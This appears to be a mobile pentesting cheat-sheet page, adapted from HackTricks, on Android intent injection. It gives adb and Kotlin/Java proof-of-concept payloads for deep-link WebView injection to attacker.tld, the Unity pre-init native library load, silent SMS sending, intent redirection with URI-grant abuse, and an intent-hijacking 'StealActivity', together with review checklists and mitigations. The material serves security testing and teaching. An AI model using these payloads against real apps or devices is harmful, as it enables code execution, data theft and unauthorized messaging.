daemon-sec-cheatsheet

intent-injection.md (30824B)

---

 ---
 title: "Intent Injection"
 section: "Mobile"
 sectionSlug: "mobile-pentesting"
 sourcePath: "src/mobile-pentesting/android-app-pentesting/intent-injection.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/intent-injection.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: false
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # Intent Injection
 
 Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:
 
 - Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components.
 - Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks.
 
 ## Deep links → WebView sink (URL parameter injection)
 
 If an app exposes a custom scheme deep link such as:
 
 ```text
 myscheme://com.example.app/web?url=<attacker_url>
 ```
 
 and the receiving Activity forwards the `url` query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
 
 PoC via adb:
 
 ```bash
 # Implicit VIEW intent
 adb shell am start -a android.intent.action.VIEW \
   -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
 
 # Or explicitly target an Activity
 adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
   -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
 ```
 
 Impact
 - HTML/JS executes inside the app’s WebView profile.
 - If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed `@JavascriptInterface` objects, steal WebView cookies/local storage, and pivot.
 
 See also:
 
 [Webview Attacks](/hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks)
 
 ## Order-of-checks bug enabling JavaScript
 
 A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup>
 
 What to look for in decompiled code:
 - Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
 - Calls to `getSettings().setJavaScriptEnabled(true)` before the last host/path allowlist check.
 - A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.
 
 
 ## Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
 
 Unity-based Android apps typically use `com.unity3d.player.UnityPlayerActivity` (or `UnityPlayerGameActivity`) as the entry Activity. Unity’s Android template treats a special Intent extra named `unity` as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if `BROWSABLE` is present – can supply this extra.<sup>[[22]](#references)[[23]](#references)</sup>
 
 A dangerous, undocumented flag leads to native code execution during very early process initialization:<sup>[[30]](#references)</sup>
 
 - Hidden flag: `-xrsdk-pre-init-library <absolute-path>`
 - Effect: `dlopen(<absolute-path>, RTLD_NOW)` very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.<sup>[[22]](#references)</sup>
 
 Reverse-engineering excerpt (simplified):
 ```c
 // lookup the arg value
 initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
 // load arbitrary native library early
 lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
 ```
 
 Why it works
 - The Intent extra `unity` is parsed into Unity runtime flags.
 - Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).
 
 Conditions for exploitation
 - The Unity entry Activity is exported (commonly true by default).
 - For one-click remote via browser: the entry Activity also declares `android.intent.category.BROWSABLE` so extras can be passed from an `intent:` URL.
 
 Local exploitation (same device)
 1) Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under `/data/app/.../lib/<abi>/` by setting in the attacker’s manifest:
 ```xml
 <application android:extractNativeLibs="true" ...>
 ```
 2) Launch the victim’s Unity activity with the CLI pre-init flag in the `unity` extra. Example ADB PoC:
 ```bash
 adb shell am start \
   -n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
   -e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
 ```
 3) Unity calls `dlopen("/data/.../libpayload.so", RTLD_NOW)`; your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.
 
 Notes
 - The exact `/data/app/...` path varies across devices/installs. An attacker app can retrieve its own native lib dir at runtime via `getApplicationInfo().nativeLibraryDir` and communicate it to the trigger.
 - The file need not end with `.so` if it is a valid ELF – `dlopen()` cares about ELF headers, not extensions.
 
 Remote one‑click via browser (conditional)
 If the Unity entry activity is exported with `BROWSABLE`, a website can pass extras via an `intent:` URL:
 ```text
 intent:#Intent;package=com.example.unitygame;scheme=whatever;\
 S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
 ```
 However, on modern Android the dynamic linker namespaces and SELinux block loading from many public paths (e.g., `/sdcard/Download`). You’ll see errors like:
 ```text
 library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
 or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
 namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
 ```
 Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include `/data` and the app’s private dir, pointing `-xrsdk-pre-init-library` at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution.<sup>[[22]](#references)</sup> This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.<sup>[[24]](#references)</sup>
 
 
 ## Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
 
 Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger `Intent.ACTION_SENDTO` with `sms:`, `smsto:`, `mms:`, or `mmsto:` and cause an immediate send without a confirmation UI and without the `SEND_SMS` permission.<sup>[[25]](#references)[[27]](#references)</sup>
 
 Key points
 - Trigger: implicit `ACTION_SENDTO` + messaging URI scheme.
 - Data: set recipient in the URI, message text in the `"sms_body"` extra.
 - Permissions: none (no `SEND_SMS`), relies on the default SMS/MMS handler.
 - Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.<sup>[[25]](#references)</sup>
 
 Minimal payload (Kotlin)<sup>[[25]](#references)</sup>
 ```kotlin
 val intent = Intent(Intent.ACTION_SENDTO).apply {
     data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
     putExtra("sms_body", "Hi from PoC")
     // From a non-Activity context add NEW_TASK
     addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
 }
 startActivity(intent)
 ```
 
 ADB PoC (no special permissions)<sup>[[26]](#references)</sup>
 ```bash
 # SMS/SMS-to
 adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
 adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"
 
 # MMS/MMS-to (handler-dependent behaviour)
 adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
 adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"
 ```
 
 Attack surface expansion (Wear OS)
 - Any component capable of launching activities can fire the same payload: Activities, foreground Services (with `FLAG_ACTIVITY_NEW_TASK`), Tiles, Complications.<sup>[[25]](#references)</sup>
 - If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.
 
 Pentest checklist
 - Resolve `ACTION_SENDTO` on target to identify the default handler; verify whether it shows a compose UI or silently sends.
 - Exercise all four schemes (`sms:`, `smsto:`, `mms:`, `mmsto:`) and extras (`sms_body`, optionally `subject` for MMS) to check behaviour differences.
 - Consider charged destinations/premium‑rate numbers when testing on real devices.
 
 
 ## Other classic Intent injection primitives
 
 - startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed.
 - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.<sup>[[1]](#references)</sup>
 
 ---
 
 ## Automating exported-component testing (Smali-driven ADB generation)
 
 When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.<sup>[[5]](#references)[[6]](#references)</sup>
 
 Tool: APK Components Inspector
 - Repo: https://github.com/thecybersandeep/apk-components-inspector<sup>[[6]](#references)</sup>
 - Approach: decompile and scan Smali for calls like `getStringExtra("key")`, `getIntExtra("id", ...)`, `getParcelableExtra("redirect_intent")`, `getSerializableExtra(...)`, `getBooleanExtra(...)`, `getAction()`, `getData()` to infer which extras and fields are consumed by each component.
 - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact `adb shell am ...`/`cmd content ...` command with correctly typed flags.
 
 Install
 ```bash
 git clone https://github.com/thecybersandeep/apk-components-inspector
 cd apk-components-inspector
 python3 -m venv venv && source venv/bin/activate
 pip install androguard==3.3.5 rich
 ```
 
 Usage
 ```bash
 python apk-components-inspector.py target.apk
 ```
 Example output
 ```bash
 adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
 adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
 adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
 adb shell cmd content query --uri content://com.target.provider/items
 ```
 
 ADB am extras cheat sheet (type-aware flags)
 - Strings: `--es key value` | String array: `--esa key v1,v2`
 - Integers: `--ei key 123` | Int array: `--eia key 1,2,3`
 - Booleans: `--ez key true|false`
 - Longs: `--el key 1234567890`
 - Floats: `--ef key 1.23`
 - URIs (extra): `--eu key content://...` | Data URI (Intent data): `-d content://...`
 - Component extra: `--ecn key com.pkg/.Cls`
 - Null string extra: `--esn key`
 - Common flags: `-a <ACTION>` `-c <CATEGORY>` `-t <MIME>` `-f <FLAGS>` `--activity-clear-task --activity-new-task`
 
 Pro tips for Providers
 - Use `adb shell cmd content query|insert|update|delete ...` to hit ContentProviders without agents.
 - For SQLi probing, vary `--projection` and `--where` (aka selection) when the underlying provider is SQLite-backed.
 
 Full-pipeline automation (interactive executor)
 ```bash
 # generate and capture commands then execute them one by one interactively
 python apk-components-inspector.py app.apk | tee adbcommands.txt
 python run_adb_commands.py
 ```
 <details>
 <summary>Helper script to parse and execute adb commands</summary>
 
 ```python
 import subprocess
 
 def parse_adb_commands(file_path):
     with open(file_path, 'r') as file:
         lines = file.readlines()
     commands = []
     current = []
     for line in lines:
         s = line.strip()
         if s.startswith("adb "):
             current = [s]
         elif s.startswith("#") or not s:
             if current:
                 full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
                 commands.append(full)
                 current = []
         elif current:
             current.append(s)
     if current:
         full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
         commands.append(full)
     return commands
 
 for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
     print(f"\nCommand {i}: {cmd}")
     input("Press Enter to execute this command...")
     try:
         r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
         print("Output:\n", r.stdout)
         if r.stderr:
             print("Errors:\n", r.stderr)
     except subprocess.CalledProcessError as e:
         print(f"Command failed with error:\n{e.stderr}")
 ```
 
 </details>
 
 Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.
 
 ---
 
 ## Intent Redirection (CWE-926) – finding and exploiting
 
 Pattern
 - An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
   - `startActivity(getIntent())`
   - `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
   - Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.<sup>[[7]](#references)[[8]](#references)[[9]](#references)[[10]](#references)</sup>
 
 What to search in Smali/Java
 - Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
 - Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
 - Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.
 
 ADB PoC templates
 - Proxy Activity forwarding an extra Intent to a privileged internal Activity:
 ```bash
 adb shell am start -n com.target/.ProxyActivity \
   --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
 ```
 - Exported Service that honors a `redirect_intent` parcelable:
 ```bash
 adb shell am startservice -n com.target/.ExportedService \
   --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
 ```
 - Exported Receiver that relays without validation:
 ```bash
 adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
   --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
 ```
 Flags helpful for singleTask-style behavior
 ```bash
 # Ensure a fresh task when testing Activities that check task/intent flags
 adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
 ```
 
 ### Exported SDK proxy activity + `Intent.parseUri(..., URI_ALLOW_UNSAFE)` + provider grant abuse
 
 A high-impact variant appears when a **third-party SDK adds an exported proxy Activity** in the **merged manifest** and that Activity turns attacker-controlled input into a new `Intent` that the victim app launches.<sup>[[21]](#references)</sup>
 
 Common flow:
 - Malicious app explicitly starts an **exported** Activity added by an SDK.
 - The Activity reads an attacker-controlled extra/data field, sometimes wrapping it in JSON first.
 - A field like `intent_uri` / `redirect_intent` / `n_intent_uri` is passed into `Intent.parseUri(...)`.
 - The parsed result is later executed with `startActivity(...)`, `startService(...)`, or `sendBroadcast(...)` **under the victim app UID/permissions**.
 
 High-risk indicators during review:
 - SDK-added components visible only in the **merged** `AndroidManifest.xml`.
 - `Intent.parseUri(untrusted, Intent.URI_ALLOW_UNSAFE)` on user-controlled strings.
 - Code that appears to sanitize the parsed `Intent` (`setComponent(null)`, action checks, etc.) but **returns or launches a different explicit Intent**.
 - Provider-related flags surviving the parse/forward chain:
   - `FLAG_GRANT_READ_URI_PERMISSION`
   - `FLAG_GRANT_WRITE_URI_PERMISSION`
   - `FLAG_GRANT_PERSISTABLE_URI_PERMISSION`
 
 Why this matters
 - This is not only a generic redirect to another exported component. If the forwarded `Intent` points to a `content://` URI, the victim app can become the **confused deputy** that grants provider access on behalf of the attacker.
 - With `URI_ALLOW_UNSAFE`, attacker-controlled `intent:` strings can preserve grant flags during parsing. If the target flow later accepts/takes the grant, the attacker may obtain **persistent** read/write access until the victim revokes it.<sup>[[19]](#references)[[20]](#references)</sup>
 - In practice this can expose data reachable through providers that rely on the victim app identity or transient URI grants, including app-private files surfaced through `FileProvider`-style paths.
 
 What to look for in code / Smali
 - Exported Activity/Receiver/Service calling:
   - `Intent.parseUri(...)`
   - `startActivity(...)` / `startService(...)` / `sendBroadcast(...)`
   - `setFlags(...)`, `addFlags(...)`, `getFlags()`
   - `setComponent(null)` or `setPackage(null)` on one object while another `Intent` is actually returned/launched
 - Parse-and-forward chains such as:
   - incoming extra → JSON object → `intentUri` field → `Intent.parseUri(...)` → launch
   - deep link / push payload / notification payload → helper method → explicit internal launch
 - Manifest-merging surprises from dependencies:
 ```bash
 # Inspect final exported components, not only the source manifest
 apkanalyzer manifest print app.apk | grep -n -A4 -B2 'exported'
 ```
 
 ADB testing ideas
 ```bash
 # 1. Reach the exported proxy component directly
 adb shell am start -n com.victim/.SdkProxyActivity \
   --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;S.browser_fallback_url=https://attacker.tld;end"}'
 
 # 2. Test whether the app reparses an intent URI and launches an explicit internal target
 adb shell am start -n com.victim/.SdkProxyActivity \
   --es payload '{"n_intent_uri":"intent:#Intent;component=com.victim/.SensitiveActivity;end"}'
 
 # 3. Probe provider-grant behaviour with content:// targets and grant flags
 adb shell am start -n com.victim/.SdkProxyActivity \
   --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;data=content://com.victim.fileprovider/root/secret.xml;launchFlags=0x43;end"}'
 ```
 
 Notes
 - `0x43` is a compact test value for `FLAG_GRANT_READ_URI_PERMISSION` (`0x1`), `FLAG_GRANT_WRITE_URI_PERMISSION` (`0x2`), and `FLAG_GRANT_PERSISTABLE_URI_PERMISSION` (`0x40`).
 - Exact extra names differ by app/SDK. During reversing, grep for `getStringExtra`, JSON field names, and helper methods that rebuild `Intent` objects from strings.
 - If the vulnerable component comes from a dependency, always inspect the **merged manifest** generated after Gradle manifest merge, not only the developer-authored source manifest.
 
 Real-world examples (impact varies):
 - CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.<sup>[[11]](#references)</sup>
 - CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects.<sup>[[12]](#references)</sup>
 - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).<sup>[[13]](#references)</sup>
 - CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.<sup>[[14]](#references)</sup>
 - CVE-2021-4438 (React Native SMS User Consent).<sup>[[15]](#references)</sup>
 - CVE-2020-14116 (Xiaomi Mi Browser).<sup>[[16]](#references)</sup>
 
 
 ---
 
 ## Intent Hijacking (implicit intents)
 
 Threat model
 - App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
 - Attacker App C publishes an exported component with a matching `<intent-filter>` for the same `action`/`category`/`data`. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.<sup>[[17]](#references)</sup>
 
 Minimal PoC manifest (attacker):
 ```xml
 <activity android:name=".StealActivity" android:exported="true">
   <intent-filter>
     <action android:name="com.victim.app.ACTION_CALLBACK"/>
     <category android:name="android.intent.category.DEFAULT"/>
     <!-- Optionally constrain MIME or scheme/host/path to increase match score -->
     <!-- <data android:mimeType="application/json"/> -->
     <!-- <data android:scheme="myscheme" android:host="callback"/> -->
   </intent-filter>
 </activity>
 ```
 Handler skeleton:
 ```java
 public class StealActivity extends Activity {
   @Override protected void onCreate(Bundle b) {
     super.onCreate(b);
     Intent i = getIntent();
     Bundle extras = i.getExtras();
     Uri data = i.getData();
     // Dump/forward sensitive result
     android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
     finish();
   }
 }
 ```
 
 Notes
 - Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
 - This also applies to deep links (`VIEW` + `BROWSABLE`) when apps expect another app to handle a URL and return something back.
 
 Pentest guidance
 - Grep the target for `startActivity`/`startActivityForResult`/`registerForActivityResult` calls using non-explicit Intents.
 - Inspect Intents carrying tokens in `extras`, `clipData`, or `getData()` and see whether a third-party could register a compatible filter.
 - Recommend replacing implicit flows with explicit Intents (set `setPackage()`/`setComponent()`), or requiring caller-permission/signed permissions on exported receivers/services.
 
 Mitigations
 - Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
 - When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
 - Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).
 
 ---
 
 ## Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
 
 When you control the sender, add `Intent.FLAG_DEBUG_LOG_RESOLUTION` to an implicit Intent to make Android log how resolution happens and which component will be selected.<sup>[[17]](#references)[[18]](#references)</sup>
 
 Example:
 ```java
 Intent intent = new Intent();
 intent.setAction("android.media.action.IMAGE_CAPTURE");
 intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
 startActivityForResult(intent, 42);
 ```
 What you’ll see in `adb logcat` is the resolution trace and the final component, e.g. `com.android.camera2/com.android.camera.CaptureActivity`.
 
 CLI tip
 ```bash
 # You can also set the debug flag from adb when firing an implicit Intent
 # 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
 adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
 
 # Then inspect the resolution in logs
 adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
 ```
 
 This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.
 
 ---
 
 ## Runtime intent tracing and replay with Frida (IRIS)
 
 Static manifest review and one-shot `adb shell am ...` probes miss flows that are only assembled at runtime or that traverse exported proxy components before reaching a sensitive sink. A practical approach is to hook Android's dispatch path inside **`system_server`** with Frida, capture real intent traffic, and then replay the interesting ones.
 
 **IRIS** ([Intent Runtime Inspection System](https://github.com/Ch0pin/iris)) is a local workflow for this: it attaches to **`system_server`**, records **caller package/process**, **target package/component**, **action**, **data URI**, **scheme/host**, **extras**, **hook stage**, and **dispatch result**, stores the normalized events in **SQLite**, and exposes filtering + replay from a local UI.<sup>[[28]](#references)[[29]](#references)</sup>
 
 Why this helps during intent testing:
 - catch **runtime-only** flows generated after login, QR scans, push notifications, WebViews, or chained proxy components
 - identify which package really launched the target component before you try to spoof it
 - recover the exact **action/data/extras** shape needed to reproduce a sensitive path
 - confirm whether a flow is replayable with plain **`adb`** or if it depends on Android-native **`Bundle`** / **`Parcelable`** values
 
 Minimal workflow:
 
 ```bash
 # List Frida-visible devices
 python3 -m intent_monitor list-devices
 
 # Capture + serve the local UI
 python3 -m intent_monitor --database ./iris.db monitor --device-id <device-id>
 
 # Review/filter stored events from CLI
 python3 -m intent_monitor --database ./iris.db list --target-package com.target.app
 python3 -m intent_monitor --database ./iris.db list --action android.intent.action.VIEW
 python3 -m intent_monitor --database ./iris.db list --scheme https --host example.com
 ```
 
 Pentest workflow:
 1. Drive the victim app normally (login, tap notifications, open QR/deep links, trigger exported receivers/services).
 2. Filter for the victim package, `VIEW` actions, unusual callers, or deep-link hosts you control.
 3. Replay the captured event and mutate **action/data/extras** to check whether the target component is externally triggerable or trusts caller-controlled values.
 4. If replay via normal `adb` loses fidelity because extras are not simple scalars, use the optional helper APK path to rebuild complex **`Bundle`** / **`Parcelable`** payloads on-device before dispatching them.
 
 This is especially useful for validating:
 - exported **proxy Activities/Receivers/Services** that forward inbound intents
 - deep-link handlers that derive privileged state from **URI host/path/extras**
 - receivers/services that require a very specific extra layout and are painful to brute-force manually
 - confused-deputy flows where reproducing the original **caller → target** sequence matters
 
 Notes:
 - IRIS is a **dynamic discovery/replay aid**, not a proof that a component is exported or attacker-reachable by itself; always confirm the final trigger path with manifest/code review and manual `adb`/app-originated replay.
 - Service hooks are marked experimental by the tool author and should be enabled only on disposable rooted devices.
 
 ## References
 
 - [1] [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
 - [2] [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
 - [3] [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
 - [4] [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
 - [5] [Automating Android App Component Testing with New APK Inspector (blog)](https://www.mobile-hacker.com/2025/09/18/automating-android-app-component-testing-with-new-apk-inspector/)
 - [6] [APK Components Inspector – GitHub](https://github.com/thecybersandeep/apk-components-inspector)
 - [7] [Google guidance on intent redirection](https://support.google.com/faqs/answer/9267555?hl=en)
 - [8] [OVAA vulnerable app](https://github.com/oversecured/ovaa)
 - [9] [Exported Service PoC APK](https://github.com/nhattm3006/android-poc/blob/main/Exported%20Service/poc.apk)
 - [10] [Ostorlab – 100M installs image app deep dive (component summary example)](https://medium.com/@ostorlab/this-article-is-a-technical-deep-dive-showing-how-a-100m-installation-image-application-can-6343ce8ea076)
 - [11] [CVE-2024-26131 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-26131)
 - [12] [CVE-2023-44121 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-44121)
 - [13] [CVE-2023-30728 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-30728)
 - [14] [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837)
 - [15] [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438)
 - [16] [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116)
 - [17] [Android Intents (1/2): how they work, security, and attack examples – Mobeta](https://mobeta.fr/android-intent-hijacking-pentest-mobile/)
 - [18] [Android Intent reference](https://developer.android.com/reference/android/content/Intent)
 - [19] [Android docs – `URI_ALLOW_UNSAFE`](https://developer.android.com/reference/android/content/Intent#URI_ALLOW_UNSAFE)
 - [20] [Android docs – `FLAG_GRANT_PERSISTABLE_URI_PERMISSION`](https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_PERSISTABLE_URI_PERMISSION)
 - [21] [Microsoft: Intent redirection vulnerability in third-party SDK exposed millions of Android wallets to potential risk](https://www.microsoft.com/en-us/security/blog/2026/04/09/intent-redirection-vulnerability-third-party-sdk-android/)
 - [22] [CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)](https://flatt.tech/research/posts/arbitrary-code-execution-in-unity-runtime/)
 - [23] [Unity docs – Android custom activity command-line](https://docs.unity3d.com/6000.0/Documentation/Manual/android-custom-activity-command-line.html)
 - [24] [HEXACON 2024 – Defense through Offense: Messenger one-click cache-based RCE pattern (slides)](https://2024.hexacon.fr/slides/Calvanno-Defense_through_Offense_Building_a_1-click_Exploit_Targeting_Messenger_for_Android.pdf)
 - [25] [CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS](https://towerofhanoi.it/writeups/cve-2025-12080/)
 - [26] [PoC repo – io-no/CVE-2025-12080](https://github.com/io-no/CVE-Reports/tree/main/CVE-2025-12080)
 - [27] [Android docs – Intents and Intent Filters](https://developer.android.com/guide/components/intents-filters)
 - [28] [IRIS – Intent Runtime Inspection System](https://github.com/Ch0pin/iris)
 - [29] [IRIS usage recording](https://www.youtube.com/watch?v=uU-f2zVZj7U)
 - [30] [Unity Security Sept-2025-01 advisory](https://unity.com/security/sept-2025-01)